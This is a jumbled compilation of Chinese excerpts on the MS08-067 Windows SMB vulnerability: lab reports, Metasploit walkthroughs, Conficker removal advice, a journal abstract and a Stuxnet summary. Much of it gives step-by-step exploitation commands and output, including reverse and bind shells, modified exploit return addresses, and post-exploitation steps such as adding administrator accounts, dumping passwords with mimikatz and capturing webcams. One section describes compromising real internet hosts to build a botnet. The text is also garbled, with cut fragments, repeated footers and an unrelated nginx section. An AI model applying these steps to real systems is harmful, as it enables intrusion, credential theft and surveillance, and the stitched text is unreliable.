微软最牛RPC漏洞MS08-067全解决方案
缓冲区溢出攻击与防范实验报告
实验六报告如图2所示的Windows 2000系统（虚拟机环境下）的计算机。
显然这2台计算机处于同一个网段中，可以相互通讯，win10系统用作攻击机，下面将在此系统上运行Metasploit进行渗透测试，而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机，保持安装后的默认状态，没有打额外的系统安全补丁。
图1 win10攻击机图2 Windows 2000 靶机2、扫描靶机在正式开始渗透之前，应该对靶机进行扫描探测工作，搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。
在win10攻击机上运行metasploit console，即可进入Metasploit环境。
现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描，如图3所示，获取了靶机的开放服务和操作系统类型等信息。
图3 windows 2000扫描结果利用扫描器的脚步插件，还有可能直接探测出目标系统的安全漏洞，例如如图4所示，Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞，命令执行如下：nmap -script= 。
namap扫描的结果里报告发现MS08-067：DISABLED。
这是在暗示我们或许能够对这台主机进行渗透攻击，然后我们在Metasloit里面找到此漏洞的攻击模块，并尝试攻击目标机器。
MS08-067是一个对操作系统版本依赖非常高的漏洞，所以在这里，我们只自动payload指定一下目标就可以确保触发正确的溢出代码。
图4漏洞扫描结果3利用MS08_067漏洞渗透入侵MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的RPC 请求，则该漏洞可能允许远程执行代码。
在Microsoft Windows 2000Windows XP 和Windows Server 2003 系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码，此漏洞可用于进行蠕虫攻击，目前已经有利用该漏洞的蠕虫病毒。
w32.downadup.b蠕虫病毒详解及清除攻略
w32.downadup.b蠕虫病毒详解及清除攻略最近经常到几个工厂走动，发现有的局域网都感染受了W32.Downadup.B蠕虫病毒。
杀毒软件可以查杀，但是都不彻底，一边清除，一边又继续生成，让人不胜其烦。
发这篇日志，就是让今后遇到该问题的朋友能够舒心点。
W32.Downadup.B可利用Microsoft Windows服务器服务RPC的远程代码执行漏洞进行传播，也可利用弱密码保护的网络共享进行感染。
W32.Downadup.B会在硬盘上新建autorun.inf 文件，若用户进入硬盘空间，恶意代码便会自动运行。
同时，它还会监控是否有其他可移动存储设备连接到已感染病毒的计算机上。
一旦连接，此蠕虫病毒会在这个新硬盘空间建立一个autorun.inf文件。
此外，W32.Downadup.B还会监测计算机发出的DNS请求中是否有某些特定字符串，并以“超时，访问不成功”的方式阻止计算机访问某些网站（如安全更新网站）。
这意味着受感染的计算机可能无法安装补丁或更新杀毒软件，从而无法清除病毒威胁。
W32.Downadup.B病毒介绍Worm:W32/Downadup.AL [F-Secure], Win32/Conficker.B [Computer Associates],W32/Confick-D [Sophos], WORM_DOWNAD.AD [Trend], Net-Worm.Win32.Kido.ih [Kaspersky] 蠕虫Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows Vista, Windows XPW32.Downadup.B是蠕虫病毒，通过攻击 Microsoft Windows Server Service RPC Handling 远程编码执行漏洞 (BID 31874) 进行传播。
利用MS08067远程溢出漏洞抓肉鸡
利用MS08067远程溢出漏洞抓肉鸡说明：（1）由于扫描出来的结果比较少，所以直接看就可以了。
如果结果比较多，可以到sfind扫描目录下直接打开sfind.txt 扫描结果。
注意：（1）在溢出过程还有多种提示例如“Make SMB Connection error:64”（2）出现“Maybe Patched！”提示的计算机也可能溢出成功。
（3）仅仅对台湾和简体中文版本有效，对其他版本的服务器及时存在445漏洞也无法溢出，原因是操作系统溢出点内存地址不同。
3.监听“4444”端口在执行扫描的计算机上使用nc监听4444端口，具体命令为“nc –vv ip地址4444”，例如“nc –vv 218.69.*.2 4444”，一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444Warning: forward host lookup failed for : h_errno 11002:TRY_ [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”，这说明218.22.27.71可能已经安装补丁、防火墙禁止对外进行连接等情况，导致溢出不成功。
说明：在MS08067中可以定制监听端口，不过那个端口需要在源程序中定制。
4.继续进行溢出将以上脚本在反弹的shell中直接粘贴即可从Ftp服务器上下载，然后可以在反弹的Shell中执行下载的文件。
在本次渗透过程中，由于是相邻IP，因此使用了一个简便的方法，即单击“开始”-“运行”，在其中输入“\\IP\admin$”或者“\\IP\C$”并确定，如图6所示，如图能够连接，则会出现一个输入网络密码的提示框，在用户和密码中分别输入刚才添加的用户名。
8．获取系统详细信息以及执行各种命令使用MS08067溢出工具成功溢出服务器后，还可以使用“telnet IP地址4444”连接被溢出服务器，如图8所示，偶使用telnet进行了尝试，获取系统信息并开放了3389端口。
网络安全渗透实验报告
图13实验后顺利访问https://127.0.0.1页面
2.5 实验小结
HTTPS是以安全为目标的HTTP通道，网上银行、支付宝、Paypal等通过httpsx协议可以全程加密以保护用户的信息安全。
因为一些受信任机构颁发的证书年费通常不菲，而且有些时候公司或者组织内部小范围使用的话没有信任问题，这时就可以自己签发一个安全证书。
cd /etc/nginx
mkdir cert
cdss
图6生成RSA密钥
（2）生成一个证书请求，如图7所示。
图7生成一个证书请求
（3）拷贝一个不需要输入密码的密钥文件。如图8所示
（4）自己签发证书。如图8所示，Singnature ok表示签发证书成功
图8拷贝密钥文件、签发证书
（5）编辑Nginx配置文件/etc/nginx/sites-available/default，将HTTPS server小节的内容改为如下图9所示。
ms08_067漏洞是微软在2008年10月出现的漏洞，最新的计算机系统不存在这些系统漏洞，而一般的计算机系统都能识别像瑞士军刀这种木马程序。因而本实验不能侵入现有的新版计算机系统，但这里主要学习网络渗透的基本原理和基本方法，进一步了解我们计算机系统存在的安全隐患，更加进一步清楚我们应该及时打系统补丁程序，安装基本的杀毒软件做好安全防范。
图表30攻击扫描完成
图31攻击目标机器的计算机信息
（7）右键点击所攻击计算机，点击Attacks=>smb=>check exploits，查看此计算机可利用的漏洞，如图31所示。
图表32查看目标机可用漏洞
（8）右键点击所攻击计算机，点击Attacks=>smb=>ms08_067_netapi，打开攻击窗口后选着目标机操作系统型号，对目标机发动攻击，如图32所示。
飞客蠕虫
查杀“飞客蠕虫病毒”的方法发表时间:2011-3-8 11:49:47浏览次数:596双击自动滚屏接省厅通知，发现社保中心、医保中心、驻西安南路大楼各单位、邳州人保局、睢宁人保局、沛县人保局网络已经感染了飞客蠕虫病毒，现在将相关专杀工具上传，希望各位外网使用用户主动下载该软件主动查杀。
Conficker，也被称作Downup，Downadup或Kido，Conficker蠕虫最早于2008年11月20日被发现的以微软的windows操作系统为攻击目标的计算机蠕虫病毒。
迄今已出现了A、B、C、E四个版本，目前全球已有超过1500万台电脑受到感染。
Conficker主要利用Windows操作系统MS08-067漏洞来传播，同时也能借助任何有USB接口的硬件设备来感染。
这个蠕虫利用的是一个已知的被用于windows 2000，windows xp，windows vista，windows server2003和windows server 2008操作系统的服务器服务漏洞。
Linux和macintosh操作系统不会受到这个病毒的影响。
一、被感染症状：帐户锁定政策被自动复位。
某些微软Windows服务会自动禁用，如自动更新，后台智能传输服务（BITS ），WindowsDefender和错误报告服务。
域控制器对客户机请求回应变得缓慢。
系统网络变得异常缓慢。
这可以从检测的网络流量图和windows任务管理器中看出。
与杀毒软件，windows系统更新有关的网站无法访问。
发射暴力密码破解攻击管理员密码以帮助它穿越并扩散到管理员共享。
二、检测方法：检测网址1：/infection_test/cfeyechart.html（注：如果点击该网页看不到图片或图片不全，说明该电脑已被感染,请下载专杀工具进行查杀）检测网址2：http://four.cs.uni-bonn.de/fileadmin/user_upload/werner/cfdetector/(注：点击该网页显示绿色的钩说明没有被感染）注：如果你的主机感染了“飞客”病毒，需要协助，请拨打局信息中心电话：85805744局域网扫描方法：下载最新版nmap扫描工具，地址：/admin/upload/nmap.rar 安装完成后运行nmap程序，在命令栏“Command：”后输入“nmap -p 139,445 -T4 -v -n -Pn --script smb-check-vulns 地址段”地址段的格式例如某1台: 192.16.0.22 某1段: 192.168.0.0/24以下是10.73.141.244的扫描结果，可以看到Conficker: Likely INFECTED (by Conficker.C or lower) 表明已经被感染了。
实验8 MS08067漏洞溢出
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
在主机上，请耐心等待 在主机上，ห้องสมุดไป่ตู้耐心等待…
Copyright 2009 Trend Micro Inc.
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
Trend Micro Confidential
Trend Micro Confidential Copyright 2009 Trend Micro Inc.
• 1.使用SSS扫描工具扫描开启445端口的机器。
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
使用命令做如下工作： 使用命令做如下工作：
Net user… label 设置卷标号 ren 改变文件名 type 显示文件内容 mem 查看内存状况 del 删除文件 copy 拷贝文件 dir 列文件名 attrib 设置文件属性
Trend Micro Confidential
Copyright 2009 Trend Micro Inc.
– 445：HKEY-LOCAL-MACHINE-System-CurrentControlSet： Services-NetBT-Parameters 下新建 下新建REG—DWORD类型的子 类型的子 并命名为SMBDeviceEnable，值为 键，并命名为 ，值为0
Metasploit实战攻击汇总
MS10-046漏洞攻击
漏洞描述：
Microsoft Windows快捷方式LNK文件自动执行代码漏洞（MS10-046）
受影响系统： Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP2 Microsoft Windows Vista SP1 Microsoft Windows Server 2008 R2 Microsoft Windows Server 2003 SP2 Microsoft Windows 7
Metasploit实战攻击 作者：zhoumo_108
MS08-067漏洞攻击 MS10-046漏洞攻击 MS12-020漏洞攻击 MS12-063漏洞攻击 CVE-2014-0515漏洞攻击
1
MS08-067漏洞攻击
漏洞描述：
Microsoft Windows Server服务RPC请求缓冲区溢出漏洞（MS08-067） Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻 击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统， SYSTEM权限执行任意指令。
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用，点 击LNK文件与点击快捷方式所指定的目标具有相同的效果。Windows没有正确地 处理LNK文件，特制的LNK文件可能导致Windows自动执行快捷方式文件所指定 的代码。这些代码可能位于USB驱动、本地或远程文件系统、光驱或其他位置， 使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。
Microsoft Internet Explorer是微软公司推出的一款网页浏览器，使用相当 广泛。IE的execCommand函数在实现上存在释放后重用漏洞，远程攻击者 可能利用此漏洞通过诱使用户访问恶意网页执行挂马攻击，控制用户系统。 该函数在执行一个命令时，会先触发相应的事件函数，恶意攻击者可在事件 函数中重写html页面，致使某个对象被释放掉，但此时execCommand的操 作还没完成，这就导致了释放后重用漏洞。攻击者通过精心构造的页面，并 诱使受害用户访问，就可以达到在受害用户系统中执行任意指令的目的。
MS08_067漏洞渗透攻击实践
MS08_067漏洞渗透攻击实践MS08_067漏洞渗透攻击实践实验前准备1、两台虚拟机，其中⼀台为kali，⼀台为windows xp sp3(英⽂版)。
2、在VMware中设置两台虚拟机⽹络为NAT模式，⾃动分配IP地址，之后两台虚拟机就可以直接ping通。
如下图：如果ping不通，⼀般是ip地址不在同⼀个⽹段上，需要重新设置xp的ip地址，打开：控制⾯板->⽹络连接->右击本地连接选择属性->选择internet协议（TCP/IP）->属性，就可以编辑ip地址了。
例如：kali ip是192.168.241.131，xp ip设置为：192.168.241.130。
前三位⼀样，最后⼀位随便设置。
MS08_067远程漏洞攻击实践：Shell1、在kali终端中开启msfconsole。
2、输⼊命令search ms08_067,会显⽰出找到的渗透模块，如下图所⽰：3、输⼊命令use exploit/windows/smb/ms08_067_netapi，进⼊该漏洞模块的使⽤。
4、输⼊命令show payload会显⽰出有效的攻击载荷，如下图所⽰，我们找到⼀个shell_reverse_tcp。
5、命令show targets会显⽰出可以被攻击的靶机的操作系统型号，如下图所⽰：6、使⽤命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
7、输⼊命令show options显⽰我们需要在攻击前需要设置的数据，如下图红框圈住的部分。
8、输⼊命令set LHOST "kali Ip"set RHOST "Win xp Ip"并使⽤命令show options再次查看payload状态。
9、输⼊命令exploit开始攻击，如下图所⽰是正常攻击成功结果。
在kali上执⾏ipconfig/all得到如下图所⽰：在win xp上执⾏同样的命令，如下图所⽰：MS08_067远程漏洞攻击实践：meterpreter1、前⾯依然使⽤命令use exploit/windows/smb/ms08_067_netapi，进⼊ms08_067漏洞模块。
MS08-067溢出漏洞详解
MS08-067溢出漏洞详解MS08-067溢出漏洞详解利用远程溢出漏洞进行攻击是一种非常有效而且威力巨大的黑客攻击手段。
微软Windows系统已经有一年多没有爆出远程溢出漏洞了，微软爆出四年以来最严重的特大安全漏洞——MS08-067远程溢出漏洞，几乎影响所有Windows系统，并且很快成为黑客攻击和木马传播利用的手段，受此漏洞危害的用户系统非常之多！一、MS08-067远程溢出漏洞简介曾经的冲击波、震荡波等大规模攻击都是由于Windows的RPC 服务漏洞造成的，MS08-067远程溢出漏洞也不例外。
MS08-067远程溢出漏洞的原因是由于Windows系统中RPC存在缺陷造成的，Windows系统的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞，远程攻击者可以通过发送恶意的RPC请求触发这个溢出，如果受影响的系统收到了特制伪造的RPC请求，可能允许远程执行代码，导致完全入侵用户系统，以SYSTEM权限执行任意指令并获取数据，并获取对该系统的控制权，造成系统失窃及系统崩溃等严重问题。
受MS08-067远程溢出漏洞影响的系统非常多，受影响的操作系统有Windows XP /2000/Vista/2003等。
除Windows Server 2008 Core外，基本上所有的Windows系统都会遭受此漏洞的攻击，特别是在Windows 2000、Windows XP和Windows Server 2003系统，攻击者可以利用此漏洞无需通过认证运行任意代码。
这个漏洞还可能被蠕虫利用，此安全漏洞可以通过恶意构造的网络包直接发起攻击，并且攻击者可以获取完整权限，因此该漏洞很可能会被用于制作蠕虫以进行大规模的攻击。
二、漏洞主机扫描在利用MS08-067远程溢出漏洞进行攻击前，首先要找到要攻击的主机目标。
由于启用了RPC服务的Windows系统往往会开放445端口，因此攻击者只要使用专业端口扫描工具扫描445端口，即可获取可溢出的主机列表。
ms08-067漏洞
ms08-067漏洞ms08-067漏洞攻击实验过程1.通过命令：ipconfig、ifconfig确认攻击机和靶机在同⼀⽹段2.通过ping命令确认靶机存活。
3.通过命令：msfconsole启⽤msf。
4.攻击。
1.搜索漏洞，命令：search ms08-067。
2.设置攻击机地址，命令：set lhost ip地址3.设置攻击机端⼝，命令：set lport 端⼝号4.设置靶机地址，命令：set rhost ip地址5.加载攻击载荷，命令：set payload windows/meterpreter/reverse_tcp。
6.进⾏攻击：exploit/run5.获得靶机权限。
6.后渗透利⽤1.查看权限命令：gituid2.进⼊shell3.添加⽤户账号命令：net ⽤户名密码 /add4.提权:net localgroup administrators ⽤户名 /add5.远程登录命令：rdesktop IP6.查看⽆操作时间命令：idletime7.获取账户密码命令：meterpreter> load mimikatzmeterpreter> msvmeterpreter> wdigest8.查看⽹络摄像头列表命令：wencam_list9.拍照命令：wencam_snap10.抓取视频命令：wencam_stream11.下载⽂件命令：download path/filenam path12.上传⽂件命令：upload path/filename path/filename13.远程登录命令：rdesktop 靶机ip必须开启3389服务14.截屏：# load espia# screenshot。
MS08_067smb漏洞利用渗透测试
MS08_067smb漏洞利⽤渗透测试
⽬标服务器：Windows XP 英⽂版
渗透测试机：KaLi
前⾔：
MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统，包括：Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本，甚⾄还包括测试阶段的Windows 7Pro-Beta.
本次实验⽬标服务器系统
1、查看⽬标和本地IP，如果实战的话，我们需要扫描噢，这⾥我们就直接利⽤了。
2、启动MSFConsole，搜索并使⽤MS06_067模块
3、配置相应参数，并运⾏，配置⽬标靶机地址，然后exploit或者run
4、使⽤hashdump获取xp的⽤户hash值，然后在使⽤kali⾃带⼯具ophcrack进⾏密码破解
使⽤ophcrack⼯具进⾏破解，破解出密码为123456
5、在刚才的meterpreter中开启⽬标的远程桌⾯服务
6、对⽬标进⾏远程桌⾯连接
7、渗透测试结束
读书和健⾝总有⼀个在路上。
ms08_067-BT5渗透测试
一个比较完整的metasploit基础资料。
本文包括使用Metasploit端口扫描，操作系统探测，漏洞检测，漏洞利用，开启后门的介绍参考资料：BackTrack 4 Assuring Security by Penetration Testing关于Metasploit的介绍我就不多说了，用百度搜索一下有很多示范的漏洞是MS08-067,是一个比较老的漏洞了，系统也很老——Windows 2000 AdvancedSever。
本文主要目的是为了介绍Metasploit的使用，MS08-067是一个比较容易成功的实例，所以就选择这个了。
###################实验环境介绍####################被攻击主机：OS:Windows 2000 AdvancedServerIP:192.168.200.140攻击者主机：OS:BT5 R1IP:192.168.200.148##################入侵前的准备工作：端口扫描、漏洞检测##################因需要用到db_nmap命令，查看当前的数据库连接状态msf > db_statuspostgresql connected to msf3可以，看到当前已经连接到数据库postgresqlmsf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.200.140Nmap: Starting Nmap 5.51SVN ( ) at 2011-12-27 01:06 ESTNmap: Nmap scan report for 192.168.200.140Nmap: Host is up (0.0023s latency).Nmap: Not shown: 970 closed portsNmap: PORT STA TE SERVICE VERSIONNmap: 25/tcp open smtp Microsoft ESMTP 5.0.2195.6713Nmap: 42/tcp open wins Microsoft Windows WinsNmap: 53/tcp open domain Microsoft DNSNmap: 80/tcp open http Microsoft IIS httpd 5.0Nmap: 88/tcp open kerberos-sec Microsoft Windows kerberos-secNmap: 119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok) Nmap: 135/tcp open msrpc Microsoft Windows RPCNmap: 139/tcp open netbios-ssnNmap: 389/tcp open ldapNmap: 443/tcp open https?Nmap: 445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-dsNmap: 464/tcp open kpasswd5?Nmap: 563/tcp open snews?Nmap: 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0Nmap: 636/tcp open tcpwrappedNmap: 1026/tcp open msrpc Microsoft Windows RPCNmap: 1029/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0Nmap: 1036/tcp open mstask Microsoft mstask (task server -c:winntsystem32Mstask.exe)Nmap: 1042/tcp open msrpc Microsoft Windows RPCNmap: 1044/tcp open mstask Microsoft mstask (task server - c:winntsystem32Mstask.exe)Nmap: 1045/tcp open msrpc Microsoft Windows RPCNmap: 1051/tcp open msrpc Microsoft Windows RPCNmap: 1054/tcp open msrpc Microsoft Windows RPCNmap: 1061/tcp open mstask Microsoft mstask (task server - c:winntsystem32Mstask.exe)Nmap: 1062/tcp open mstask Microsoft mstask (task server - c:winntsystem32Mstask.exe)Nmap: 1122/tcp open msrpc Microsoft Windows RPCNmap: 3268/tcp open ldapNmap: 3269/tcp open tcpwrappedNmap: 3372/tcp open msdtc Microsoft Distributed Transaction Coordinator (error) Nmap: 3389/tcp open microsoft-rdp Microsoft Terminal ServiceNmap: MAC Address: 00:0C:29:EA:2C:5D (VMware)Nmap: Device type: general purposeNmap: Running: Microsoft Windows 2000|XP|MeNmap: OS details: Microsoft Windows 2000 SP0/SP2/SP4 or Windows XP SP0/SP1, Microsoft Windows 2000 SP1, Microsoft Windows 2000 SP2, Microsoft Windows Millennium Edition (Me) Nmap: Network Distance: 1 hopNmap: Service Info: Host: ; OS: WindowsNmap: Host script results:Nmap: | smb-check-vulns:Nmap: | MS08-067: VULNERABLENmap: | Conficker: Likely CLEANNmap: | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)Nmap: | SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)Nmap: | MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)Nmap: |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)Nmap: OS and Service detection performed. Please report any incorrect results at /submit/ .Nmap: Nmap done: 1 IP address (1 host up) scanned in 52.73 seconds使用db_nmap命令，可以看到192.168.200.140的操作系统和可能存在的漏洞，其中包括此次实验的MS08-067.#########################开始入侵###########################查询并查看有关MS08_067的漏洞信息msf > search ms08_067Matching Modules================Name Disclosure Date Rank Description—- ——————- ———–exploit/windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruptionmsf > use exploit/windows/smb/ms08_067_netapimsf exploit(ms08_067_netapi) > infoName: Microsoft Server Service Relative Path Stack CorruptionModule: exploit/windows/smb/ms08_067_netapiVersion: 12540Platform: WindowsPrivileged: YesLicense: Metasploit Framework License (BSD)Rank: GreatProvided by:hdm/cgi-bin/cvename.cgi?name=2008-4250/49243/technet/security/bulletin/MS08-067.mspxNEXPOSE (dcerpc-ms-netapi-netpathcanonicalize-dos)msf exploit(ms08_067_netapi) >查看攻击目标主机的需要配置的选项msf exploit(ms08_067_netapi) > show optionsModule options (exploit/windows/smb/ms08_067_netapi):Name Current Setting Required Description—- ———————–———–RHOST 192.168.200.140 yes The target addressRPORT 445 yes Set the SMB service portSMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)Payload options (windows/shell_bind_tcp):Name Current Setting Required Description—- ———————–———–EXITFUNC thread yes Exit technique: seh, thread, process, noneLPORT 4444 yes The listen portRHOST 192.168.200.140 no The target addressExploit target:Id Name——-0 Automatic Targeting################使用Bind Shell方式#######################设置相关参数msf exploit(ms08_067_netapi) > set RHOST 192.168.200.140RHOST => 192.168.200.140设置payloadmsf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcppayload => windows/shell_bind_tcp查看你设置参数的情况msf exploit(ms08_067_netapi) > show optionsModule options (exploit/windows/smb/ms08_067_netapi):Name Current Setting Required Description—- ———————–———–RHOST 192.168.200.140 yes The target addressRPORT 445 yes Set the SMB service portSMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)Payload options (windows/shell_bind_tcp):Name Current Setting Required Description—- ———————–———–EXITFUNC thread yes Exit technique: seh, thread, process, noneLPORT 4444 yes The listen portRHOST 192.168.200.140 no The target addressExploit target:Id Name——-0 Automatic Targeting现在开始溢出攻击msf exploit(ms08_067_netapi) > exploit•Started bind handler•Automatically detecting the target…•Fingerprint: Windows 2000 – Service Pack 0 – 4 – lang:English•Selected Target: Windows 2000 Universal•Attempting to trigger the vulnerability…•Command shell session 2 opened (192.168.200.148:34431 -> 192.168.200.140:4444) at 2011-12-27 01:14:59 -0500Microsoft Windows 2000 [V ersion 5.00.2195](C) Copyright 1985-2000 Microsoft Corp.C:WINNTsystem32>成功获得shell！哈哈！！！###########################使用Reverse Shell方式#####################大家知道如果攻击者与被攻击之间有防火墙的话，防火墙会检测TCP连接状态，正向连接可能不会成功。
利用MSF的MS08_067模块攻击windowsserver2003SP2中文版系统
利⽤MSF的MS08_067模块攻击windowsserver2003SP2中⽂版系统⼀、测试环境攻击机：kali(NMAP+MSF)靶机：windows server 2003 SP2 中⽂版利⽤漏洞：MS08_067⼆、漏洞描述MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果⽤户在受影响的系统上收到特制的 RPC 请求，则该漏洞可能允许远程执⾏代码，可⽤于进⾏蠕⾍攻击。
受影响的系统有 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 。
三、⽬标渗透1、Nmap信息收集，⽬标开放445端⼝，可能存在ms08_067漏洞。
尝试使⽤MSF的攻击模块ms08_067_netapi.rb进⾏攻击，试了⼏遍之后没成功。
根据返回的信息知道⽬标是windows server 2003 中⽂版，然后切换到已下⽬录：/usr/share/metasploit-framework/modules/exploits/windows/smb找到ms08_067_netapi.rb⽂件，仔细看了⼀遍果然没有关于中⽂版的攻击代码。
于是找度娘，最后借鉴了⼀位⼤佬的⽂章，对攻击模块稍作修改。
对原⽂件做备份：在ms08_067_netapi_ser2003_zh.rb中增加以下代码，其实就是修改了四个跳转指针地址（举⼀反三，其他系统。
）。
['Windows 2003 SP2 Chinese (NX)',{'RetDec' => 0x7c99beb8, # dec ESI, ret @NTDLL.DLL (0x4EC3)'RetPop' => 0x7cb5e84e, # push ESI, pop EBP, ret @SHELL32.DLL(0x565DC3)'JmpESP' => 0x7c99a01b, # jmp ESP @NTDLL.DLL(0xFFE4)'DisableNX' => 0x7c96f517, # NX disable @NTDLL.DLL'Scratch' => 0x00020408,}],如图所⽰：通过search命令查找模块并使⽤模块输⼊info查看模块的详细信息，发现增加了第65⾏的内容。
MS08-067漏洞的解决方案探讨
MS08-067漏洞的解决方案探讨
邢诒俊;陈富节;陈亚楠;廖廷悟
【期刊名称】《金融科技时代》
【年(卷),期】2009(017)008
【摘要】@@ 2008年10月23日,微软爆出特大安全漏洞MS08-067,几乎影响到所有Windows系统.该漏洞成功地进行远程攻击,可能会危及Microsoft Windows系统的安全,并获取对该系统的控制权.一时间利用该漏洞的病毒和木马在互联网上迅速泛滥,受影响的互联网用户日渐增加.
【总页数】2页(P48-49)
【作者】邢诒俊;陈富节;陈亚楠;廖廷悟
【作者单位】中国人民银行海口中心支行;中国人民银行海口中心支行;中国人民银行海口中心支行;中国人民银行海口中心支行
【正文语种】中文
【中图分类】TP3
【相关文献】
Web应用程序常见网络安全漏洞解决方案分析 [J], 马道京; 唐星; 程骅
2.基于TCP/IP协议族的安全漏洞及解决方案分析 [J], 闵慧;李鹏;刘镇国
3.基于TCP/IP协议族的安全漏洞及解决方案分析 [J], 闵慧;李鹏;刘镇国
4.一种TCP/IP协议族的安全漏洞及解决方案 [J], 闵慧;李鹏;刘镇国
5.一种TCP/IP协议族的安全漏洞及解决方案 [J], 闵慧;李鹏;刘镇国
因版权原因，仅展示原文概要，查看原文内容请购买。
软件漏洞利用及发现实验
软件漏洞利用及发现1.1超级漏洞MS08-067简介MS08-067 漏洞是2008 年年底爆出的一个特大漏洞，存在于当时的所有微软系统，杀伤力超强。
其原理是攻击者利用受害主机默认开放的SMB 服务端口445 ，发送恶意资料到该端口，通过MSRPC 接口调用Server 服务的一个函数，并破坏程序的战缓冲区，获得远程代码执行（Remote Code Execution）权限，从而完全控制主机。
由于MS08-067 漏洞的影响范围之大、危害之严重，微软公司也在计划外超常规地专门为这一漏洞发布紧急补丁，并建议客户立即修补漏洞。
主流安全厂商也都一致给予该漏洞两个重要评价标准，并将其归属于最高严重级别的漏洞。
这两个标准是：1）能远程主动发起针对主流桌面操作系统的默认开放端口的扫描，并对有漏洞主机直接获得系统权限；2）漏洞可以被利用作为蠕虫的主动传播机制。
由于MS08-067 漏洞所在服务的普遍性，以及可以导致远程控制系统，所以该漏洞一经公布，便马上被应用于蠕虫传播。
著名的Conficker （飞客）蠕虫便是其中传播范围最广、影响时间最长的一个案例，关于Conficker 蠕虫的爆发与应急响应有非常多的幕后故事，美国National Book Awards 终身成就奖获得者，著名畅销书作家Mark Bowden 出版的《蠕虫：第一次数字世界大战》（Worm: The Story of The First Digital World War）以纪实方式描写了Conficker 蠕虫事件的全过程。
中国是Conficker 蠕虫的最大受害国，在最初感染的全球150 万计算机中占到了40 万台。
直到2011 年，根据CNCERT/CC 统计，中国感染Conficker 蠕虫的主机IP 月均仍超过400 万个。
然而遗憾的是，书中描写调查组的应急响应过程时，最初毫无理由地怀疑中国政府是造成Conficker 蠕虫的幕后黑手，并以据调查中国拥有250 支“黑客团队”，以及一些毫无关联且很可能子虚乌有的人侵美国军方、NASA 事件作为支持依据。
震网病毒的传播方式及途径
震网病毒的传播方式及途径那么震网病毒的传播方式是什么呢!通过什么途径传播呢!下面由店铺给你做出详细的震网病毒的传播方式和途径介绍!希望对你有帮助!震网病毒的传播方式和途径介绍：Stuxnet蠕虫的攻击目标是SIMATIC WinCC软件。
后者主要用于工业控制系统的数据采集与监控，一般部署在专用的内部局域网中，并与外部互联网实行物理上的隔离。
为了实现攻击，Stuxnet蠕虫采取多种手段进行渗透和传播，如图3所示。
整体的传播思路是：首先感染外部主机;然后感染U盘，利用快捷方式文件解析漏洞，传播到内部网络;在内网中，通过快捷方式解析漏洞、RPC远程执行漏洞、打印机后台程序服务漏洞，实现联网主机之间的传播;最后抵达安装了WinCC软件的主机，展开攻击。
2.3.1. 快捷方式文件解析漏洞(MS10-046)这个漏洞利用Windows在解析快捷方式文件(例如.lnk文件)时的系统机制缺陷，使系统加载攻击者指定的DLL文件，从而触发攻击行为。
具体而言，Windows在显示快捷方式文件时，会根据文件中的信息寻找它所需的图标资源，并将其作为文件的图标展现给用户。
如果图标资源在一个DLL文件中，系统就会加载这个DLL文件。
攻击者可以构造这样一个快捷方式文件，使系统加载指定的DLL文件，从而执行其中的恶意代码。
快捷方式文件的显示是系统自动执行，无需用户交互，因此漏洞的利用效果很好。
Stuxnet蠕虫搜索计算机中的可移动存储设备。
一旦发现，就将快捷方式文件和DLL文件拷贝到其中。
如果用户将这个设备再插入到内部网络中的计算机上使用，就会触发漏洞，从而实现所谓的“摆渡”攻击，即利用移动存储设备对物理隔离网络的渗入。
拷贝到U盘的DLL文件有两个：~wtr4132.tmp和~wtr4141.tmp。
后者Hook了kernel32.dll和ntdll.dll中的下列导出函数：FindFirstFileW FindNextFileWFindFirstFileExWNtQueryDirectoryFile ZwQueryDirectoryFile 实现对U盘中lnk文件和DLL文件的隐藏。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
